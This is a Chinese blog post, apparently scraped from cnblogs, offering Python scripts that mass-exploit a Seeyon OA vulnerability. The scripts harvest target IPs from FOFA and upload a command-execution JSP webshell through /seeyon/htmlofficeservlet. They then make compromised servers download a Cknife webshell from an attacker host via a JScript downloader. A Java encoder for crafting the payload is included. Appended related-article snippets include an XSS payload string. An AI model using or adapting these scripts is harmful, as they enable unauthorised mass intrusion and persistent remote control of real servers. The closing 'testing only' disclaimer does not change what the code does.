致远OA_0day批量植Cknife马一步到位

article/2025/10/1 1:05:55

最近各位师傅都在刷这个嘛,原本的exp是上传一个test123456.jsp的命令执行的马子,不过我在试的时候发现替换成C刀一句话出错,原因未知,并且test123456.jsp如果存在的话用原来exp是无法覆盖的。

参考改进了t00ls师傅的代码(https://www.t00ls.net/viewthread ... =%E8%87%B4%E8%BF%9C) 

A)批量的ip,利用脚本提取从fofa提取

B)上传的文件名和马子密码可以自己定义,摘自t00l师傅的java代码(https://www.t00ls.net/viewthread ... =%E8%87%B4%E8%BF%9C)#

C)植Cknife马的思路是通过上传的命令执行马,生成下载文件的js,然后js下载payload并移动到web根目录。

 

0x01 批量从fofa提取ip

 

# coding:utf-8
# 卿 博客:https://www.cnblogs.com/-qing-/
from bs4 import BeautifulSoup
import requests,re
session = "_fofapro_ars_session=****************************************"
header = {"Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01","Accept-Encoding":"gzip, deflate, br","Accept-Language":"zh-CN,zh;q=0.9","Connection":"keep-alive","User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36","X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==","X-Requested-With":"XMLHttpRequest","Cookie":session,
}
def file_put(str):with open("ip.txt","a") as f:f.write(str)def spider_ip(url):html_doc = requests.get(url = url,headers = header).contentsoup = BeautifulSoup(html_doc)for link in soup.find_all('a'):if "http" in link.get('href') :if "http" in link.get('href') :ip = link.get('href')result = re.findall(r"\d+\.\d+\.\d+.\d+",ip,re.I)[0]print result  file_put(ip+"\n")for i in range(1,5):spider_ip("https://fofa.so/result?full=true&page="+ str(i) +"&qbase64=c2VleW9u")

 

 

自己改下_fofapro_ars_session即可~~非会员只有前面5页的查询

 

 

 

 

0x02 上传自己的命令执行马

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/import base64
import requests
import threading
import queueq=queue.Queue()
file=open('url.txt')
for x in file.readlines():q.put(x.strip())
print("============Write the cmdshell started!==============\n")
#写命令执行马
def cmd():while not q.empty():url=q.get()headers={'Content-Type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'}post_payload1="REJTVEVQJTIwVjMuMCUyMCUyMCUyMCUyMCUyMDM1NSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMDAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjA2NjYlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBEQlNURVAlM0RPS01MbEtsViUwQU9QVElPTiUzRFMzV1lPU1dMQlNHciUwQWN1cnJlbnRVc2VySWQlM0R6VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2JTBBQ1JFQVRFREFURSUzRHdVZ2hQQjNzekIzWHdnNjYlMEFSRUNPUkRJRCUzRHFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYlMEFvcmlnaW5hbEZpbGVJZCUzRHdWNjYlMEFvcmlnaW5hbENyZWF0ZURhdGUlM0R3VWdoUEIzc3pCM1h3ZzY2JTBBRklMRU5BTUUlM0RxZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkZFlRNXlpS1h3aVZHemZUMmRFZzYlMEFuZWVkUmVhZEZpbGUlM0R5UldaZEFTNiUwQW9yaWdpbmFsQ3JlYXRlRGF0ZSUzRHdMU0dQNG9FekxLQXo0JTNEaXolM0Q2NiUwQSUzQyUyNUAlMjBwYWdlJTIwbGFuZ3VhZ2UlM0QlMjJqYXZhJTIyJTIwaW1wb3J0JTNEJTIyamF2YS51dGlsLiolMkNqYXZhLmlvLiolMjIlMjBwYWdlRW5jb2RpbmclM0QlMjJVVEYtOCUyMiUyNSUzRSUzQyUyNSUyMXB1YmxpYyUyMHN0YXRpYyUyMFN0cmluZyUyMGV4Y3V0ZUNtZCUyOFN0cmluZyUyMGMlMjklMjAlN0JTdHJpbmdCdWlsZGVyJTIwbGluZSUyMCUzRCUyMG5ldyUyMFN0cmluZ0J1aWxkZXIlMjglMjklM0J0cnklMjAlN0JQcm9jZXNzJTIwcHJvJTIwJTNEJTIwUnVudGltZS5nZXRSdW50aW1lJTI4JTI5LmV4ZWMlMjhjJTI5JTNCQnVmZmVyZWRSZWFkZXIlMjBidWYlMjAlM0QlMjBuZXclMjBCdWZmZXJlZFJlYWRlciUyOG5ldyUyMElucHV0U3RyZWFtUmVhZGVyJTI4cHJvLmdldElucHV0U3RyZWFtJTI4JTI5JTI5JTI5JTNCU3RyaW5nJTIwdGVtcCUyMCUzRCUyMG51bGwlM0J3aGlsZSUyMCUyOCUyOHRlbXAlMjAlM0QlMjBidWYucmVhZExpbmUlMjglMjklMjklMjAlMjElM0QlMjBudWxsJTI5JTIwJTdCbGluZS5hcHBlbmQlMjh0ZW1wKyUyMiU1Q24lMjIlMjklM0IlN0RidWYuY2xvc2UlMjglMjklM0IlN0QlMjBjYXRjaCUyMCUyOEV4Y2VwdGlvbiUyMGUlMjklMjAlN0JsaW5lLmFwcGVuZCUyOGUuZ2V0TWVzc2FnZSUyOCUyOSUyOSUzQiU3RHJldHVybiUyMGxpbmUudG9TdHJpbmclMjglMjklM0IlN0QlMjAlMjUlM0UlM0MlMjVpZiUyOCUyMnFpbmclMjIuZXF1YWxzJTI4cmVxdWVzdC5nZXRQYXJhbWV0ZXIlMjglMjJwd2QlMjIlMjklMjklMjYlMjYlMjElMjIlMjIuZXF1YWxzJTI4cmVxdWVzdC5nZXRQYXJhbWV0ZXIlMjglMjJjbWQlMjIlMjklMjklMjklN0JvdXQucHJpbnRsbiUyOCUyMiUzQ3ByZSUzRSUyMitleGN1dGVDbWQlMjhyZXF1ZXN0LmdldFBhcmFtZXRlciUyOCUyMmNtZCUyMiUyOSUyOSUyMCslMjAlMjIlM0MvcHJlJTNFJTIyJTI5JTNCJTdEZWxzZSU3Qm91dC5wcmludGxuJTI4JTIyJTNBLSUyOSUyMiUyOSUzQiU3RCUyNSUzRTZlNGYwNDVkNGI4NTA2YmY0OTJhZGE3ZTMzOTBkN2Nl"post_payload1 = base64.b64decode(post_payload1)requests.packages.urllib3.disable_warnings()try:post=requests.post(url=url+'/seeyon/htmlofficeservlet',data=post_payload1,headers=headers,verify=False,timeout=10)r = requests.get(url=url+'/seeyon/qing123456.jsp?pwd=qing&cmd=cmd+/c+echo%20hacker',headers=headers,timeout=10,verify=False)if 'hacker' in r.text:print ('!=========Write to successful :'+url+'/seeyon/qing123456.jsp?pwd=qing&cmd=cmd+/c+echo+hacker'+'===============!!!\n')with open('success.txt','a') as f:f.write(url+'\n')else:passexcept:pass#线程队列部分
th=[]
th_num=10
for x in range(th_num):t=threading.Thread(target=cmd)th.append(t)
for x in range(th_num):th[x].start()
for x in range(th_num):th[x].join()

 

这里post_payload1是你的post包,也就是那个exp,改名的话各位可以参考使用t00ls老哥的 ,这里也贴上

 

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;public class Main {String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";public String DecodeBase64(String paramString){ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();String str = "";byte[] arrayOfByte2 = new byte[4];try{int j = 0;byte[] arrayOfByte1 = paramString.getBytes();while (j < arrayOfByte1.length){for (int i = 0; i <= 3; i++){if (j >= arrayOfByte1.length){arrayOfByte2[i] = 64;}else{int k = this.TableBase64.indexOf(arrayOfByte1[j]);if (k < 0) {k = 65;}arrayOfByte2[i] = ((byte)k);}j++;}localByteArrayOutputStream.write((byte)(((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));if (arrayOfByte2[2] != 64){localByteArrayOutputStream.write((byte)(((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));if (arrayOfByte2[3] != 64) {localByteArrayOutputStream.write((byte)(((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));}}}}catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException){//this.FError += localStringIndexOutOfBoundsException.toString();
            System.out.println(localStringIndexOutOfBoundsException.toString());}try{str = 
localByteArrayOutputStream.toString("GB2312");}catch (UnsupportedEncodingException localUnsupportedEncodingException){System.out.println(localUnsupportedEncodingException.toString());}return str;}public String EncodeBase64(String var1){ByteArrayOutputStream var2 = new ByteArrayOutputStream();byte[] var7 = new byte[4];try {int var4 = 0;byte[] var6 = var1.getBytes("GB2312");while(var4 < var6.length) {byte var5 = var6[var4];++var4;var7[0] = (byte)((var5 & 252) >> 2);var7[1] = (byte)((var5 & 3) << 4);if (var4 < var6.length) {var5 = var6[var4];++var4;var7[1] += (byte)((var5 & 240) >> 4);var7[2] = (byte)((var5 & 15) << 2);if (var4 < var6.length) {var5 = var6[var4];++var4;var7[2] = (byte)(var7[2] + ((var5 & 192) >> 6));var7[3] = (byte)(var5 & 63);} else {var7[3] = 64;}} else {var7[2] = 64;var7[3] = 64;}for(int var3 = 0; var3 <= 3; ++var3) {var2.write(this.TableBase64.charAt(var7[var3]));}}} catch (StringIndexOutOfBoundsException var10) {// this.FError = this.FError + var10.toString();
            System.out.println(var10.toString());} catch (UnsupportedEncodingException var11) {System.out.println(var11.toString());}return var2.toString();}public static void main(String[] args) {Main m = new Main();System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\qing123456.jsp"));}
}

 

 

 

还是有点速度~

 

 

 

 

 

 

0x03 利用执行马植C刀马

有的人觉得我这样好麻烦,不过在第二步直接传C刀马要报错,我有啥办法列~~

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/import requests
import threading
import queueq=queue.Queue()file=open('1.txt')
for x in file.readlines():q.put(x.strip())#成功的命令执行 写c刀一句话
def CKnife():while not q.empty():url=q.get()headers={'Content-Type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'}js_payload = "seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd /c echo var WinHttpReq = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\"); WinHttpReq.Open(\"GET\", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject(\"ADODB.Stream\"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(\"qingxin.jsp\"); >> qing.js"#js_payload = str(js_payload,encoding = "utf-8")
                requests.packages.urllib3.disable_warnings()r = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+'+js_payload,headers=headers,timeout=10,verify=False)              r2 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+dir',headers=headers,timeout=10,verify=False)# 第一步 #生成下载文件的js文件if 'qing.js' in r2.text:#第二步 使用js远程下载shell代码r3 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+cscript+/nologo+qing.js+http://xxxxxxx/index.txt',headers=headers,timeout=10,verify=False)r4 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+dir',headers=headers,timeout=10,verify=False)# 判断下载的jsp是否存在if 'qingxin.jsp' in r4.text:#移动到根目录下r5 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd /c move qingxin.jsp ../webapps/seeyon/',headers=headers,timeout=10,verify=False)print ('!=========Cknife Webshell :'+url+'/seeyon/qingxin.jsp'+'===============!!!\n')with open('webshell.txt','a') as f:f.write(url+'/seeyon/qingxin.jsp'+'\n')else:print ('webshell write fail:'+url+ ' time out.'+'\n')else:print ('js_payload write fail:'+url+ ' time out.'+'\n')th=[]
th_num=10
for x in range(th_num):t=threading.Thread(target=CKnife)th.append(t)
for x in range(th_num):th[x].start()
for x in range(th_num):th[x].join()

 

注意这里http://xxxxxxx/index.txt 是你需要下载的代码,可以是C刀的一句话也可以是其他的。结果:

 

 

 

 

 

一晚上还是能搞一点。。。。仅供测试,且勿违反法律道德,后果自负

 

转载于:https://www.cnblogs.com/-qing-/p/11100461.html


http://chatgpt.dhexx.cn/article/WHgnTLL4.shtml

相关文章

linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 相关阅读&#xff1a; 0x00 前言 很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版&#xff0c;仅仅多了跨平台的功能&#xff0c;其实小伙伴…

Cknife流量分析

本文首发&#xff1a;https://<img src1 οnerrοr\u006coc\u0061tionj\x61v\x61script:\x61lert\x281\x29>testdemo 0x01 环境 <?php eval($_REQUEST[shell] ?> 0x02 命令执行 执行命令结果如下图所示 POST的数据如下图所示 对POST的数据解码 #shell eval(base6…

渗透工具环境篇——Cknife中国菜刀的使用

提要 在学习上传漏洞的时候研究到了Cknife这个软件。下面来介绍一下菜刀的使用方法。 使用 1.下载菜刀&#xff0c;打开Cknife.jar软件 2.右键点击添加 3.输入上传的php文件&#xff0c;php文件密码&#xff0c;脚本类型选择PHP&#xff0c;字符编码GB2312&#xff0c;点…

关于cknife与burpsuite对java的版本需求的冲突机器解决办法

之前安装burpsuite时候使用的是jdk11,一直使用的没有问题&#xff0c;后来接触到了cknife,但在使用时却发现cknife需要jre1.7以上版本&#xff0c;但这有是burpsuit无法兼容的&#xff0c;翻来覆去整了半天&#xff0c;终于搞定了。。 1.先删除jdk-11 2.下载jdk-7u80,这里面是…

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 000 前言 亲爱的Chora小伙伴在上文说过&#xff0c;他是一个有责任心的基佬&#xff0c;要手把手为大家&#xff08;不&#xff09;负责任的讲解如何…

图像位运算、掩模

图像位运算、掩模 原图 添加的RGB图像 1. 选取原图中的感兴趣的区域&#xff0c;即ROI&#xff08;region of interest&#xff09; 2. 将要添加的RGB图像转换成灰度图像 img2gray cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)3. 将灰度图像进一步转成二值图像&#xff0c;即…

【图像锐化】非锐化掩模 USM(Unsharpen Mask)与锐化掩模 SM(Sharpen Mask)

非锐化掩模USM&#xff08;Unsharpen Mask&#xff09;与锐化掩模 SM&#xff08;Sharpen Mask&#xff09; 掩膜操作可以提高图像对比度&#xff0c;对比度提高可以增加图像感官度、锐化&#xff0c;让看起来有点模糊的图像更清晰。 原理&#xff1a;提取图像的高频分量&#…

2021年中国光掩模玻璃基板行业市场需求量分析:IC、FPD领域快速发展带动光掩模玻璃基板需求量不断增长[图]

一、概述 光刻掩膜版,简称掩膜版,是微纳加工技术常用的光刻工艺所使用的图形母版。由不透明的遮光薄膜在透明基板上形成掩膜图形结构,再通过曝光过程将图形信息转移到产品基片上。 光学掩模板是在薄膜、塑料或玻璃基体材料上制作各种功能图形并精确定位,以便用于光致抗蚀…

【OpenCV 】图像掩模

图像掩模&#xff08;image mask&#xff09;&#xff1a;用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&#xff09;进行遮挡来控制图像处理的区域或处理过程。由于覆盖的特定图像或物体称为掩模或模板。 数字图像处理中&#xff0c;掩模为二维…

【youcans 的 OpenCV 例程200篇】179.图像分割之 GrabCut 图割法(掩模图像)

【youcans 的 OpenCV 例程200篇】176.图像分割之均值漂移算法 【youcans 的 OpenCV 例程200篇】177.图像分割之 GraphCuts 图割法 【youcans 的 OpenCV 例程200篇】178.图像分割之 GrabCut 图割法&#xff08;框选前景&#xff09; 【youcans 的 OpenCV 例程200篇】179.图像分割…

OpenCV python 掩模处理学习笔记

OpenCV python 掩模处理 前言1.1 掩模是什么1.2 掩模的原理1.3 构造掩模图像总结 前言 接上篇OpenCV Python 直方图的使用。在opencv中使用掩模对图像进行处理是一个十分常用的方法。本篇是记录掩模操作的原理及使用。小白入门&#xff0c;如有不正确的地方希望大佬指正。 提示…

OpenCV基于Python图像掩模处理

图像掩模 目标1. 图像掩模的概念2. 图像掩模的作用3. 示例演示 目标 本篇文章主要介绍图像掩模的概念、作用、及其简单实现。 1. 图像掩模的概念 图像掩模&#xff08;image mask&#xff09;是用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&a…

CodedStereo:大尺度景深双目视觉的相位掩模学习(CVPR2021)

点击上方“3D视觉工坊”&#xff0c;选择“星标” 干货第一时间送达 来源丨泡泡机器人SLAM 作者丨泡泡机器人 标题&#xff1a;CodedStereo: Learned Phase Masks for LargeDepth-of-Field Stereo 作者:Shiyu Tan, Yicheng Wu, Shoou-I Yu&#xff0c; Ashok Veeraraghavan 机构…

OpenCV笔记整理【直方图和掩模】

1. 直方图&#xff1a; 直方图统计图像中各个灰度级出现的次数&#xff0c;横坐标为各个像素点的灰度级&#xff0c;纵坐标是具有该灰度级的像素个数。 上面这个九宫格我们可以想象成一张图像&#xff0c;里面的数字代表当前像素的灰度等级。 用图表显示&#xff1a;X轴代表…

数字图像处理 掩模

将logo叠加在图片上 将logo图片进行灰度化阈值处理得到掩模 (需要的部分是置非0 不需要的黑色的部分置0) 然后需要利用掩模对logo图像和人物图像分别进行处理 对logo图&#xff1a; 需要把黑色部分去掉-----与掩模进行与操作把黑色部分置0 Ps:黑色部分用add叠加时相当于没有…

OpenCV基本功 之 图像的掩模、运算 合并专题 -小啾带学【Python-Open_CV系列(七)】

OpenCV图像的掩模、运算 与 合并专题 【Python-Open_CV系列&#xff08;七&#xff09;】 文章目录 1.图像的掩模2.图像的运算2.1 图像的加法运算2.1.1 “”方法2.1.2 cv2.add()方法2.1.3 使用掩模遮盖相加结果 2.2 图像的位运算2.2.1 按位与 cv2.bitwise_and()2.2.2 按位或 c…

空间掩模matlab,浅谈基于SLM的非相干全息系统掩模设计及成像处理

宋冲 摘要:基于空间光调制器(Spatial Light Modulator,SLM)的菲涅尔非相干相关数字全息系统,无需对物体在空间或时间上进行扫描,可以快速获取真实三维物体的全息图,在荧光生物样品显微成像、彩色全息显示、以及自适应光学等领域展示了极大应用潜力。通过本项目的研究,为S…

matlab 掩模,用于图像中的与脸部有关的选择和处理的图像掩模制造技术

【技术实现步骤摘要】 【国外来华专利技术】【专利说明】用于图像中的与脸部有关的选择和处理的图像掩模相关串请的交叉引用本申请要求对通过完全引用而结合于此、提交于2013年5月14日的第13/894&#xff0c;384号美国专利申请的优先权。 技术介绍 数字相机的流行和便利以及因特…

图像掩模matlab,图像掩模_matlab_图像掩模

光学图像处理中,掩模可以足胶片、滤光片等。数字图像处理中,掩模为二维矩阵数组,有时也用多值图像。数字图像处理中,图像掩模主要用于:①提取感兴趣区,用预先制作的感兴 未来手机触摸屏要靠无掩模光刻技术_多点触摸 337x396 - 29KB - JPEG 5.4.3 选择式掩模平滑 - 51CTO.COM 53…

图像中的掩膜(Mask)是什么

项目github地址&#xff1a;bitcarmanlee easy-algorithm-interview-and-practice 欢迎大家star&#xff0c;留言&#xff0c;一起学习进步 在图像处理中&#xff0c;经常会碰到掩膜(Mask)这个词。那么这个词到底是什么意思呢&#xff1f;下面来简单解释一下。 1.什么是掩膜 …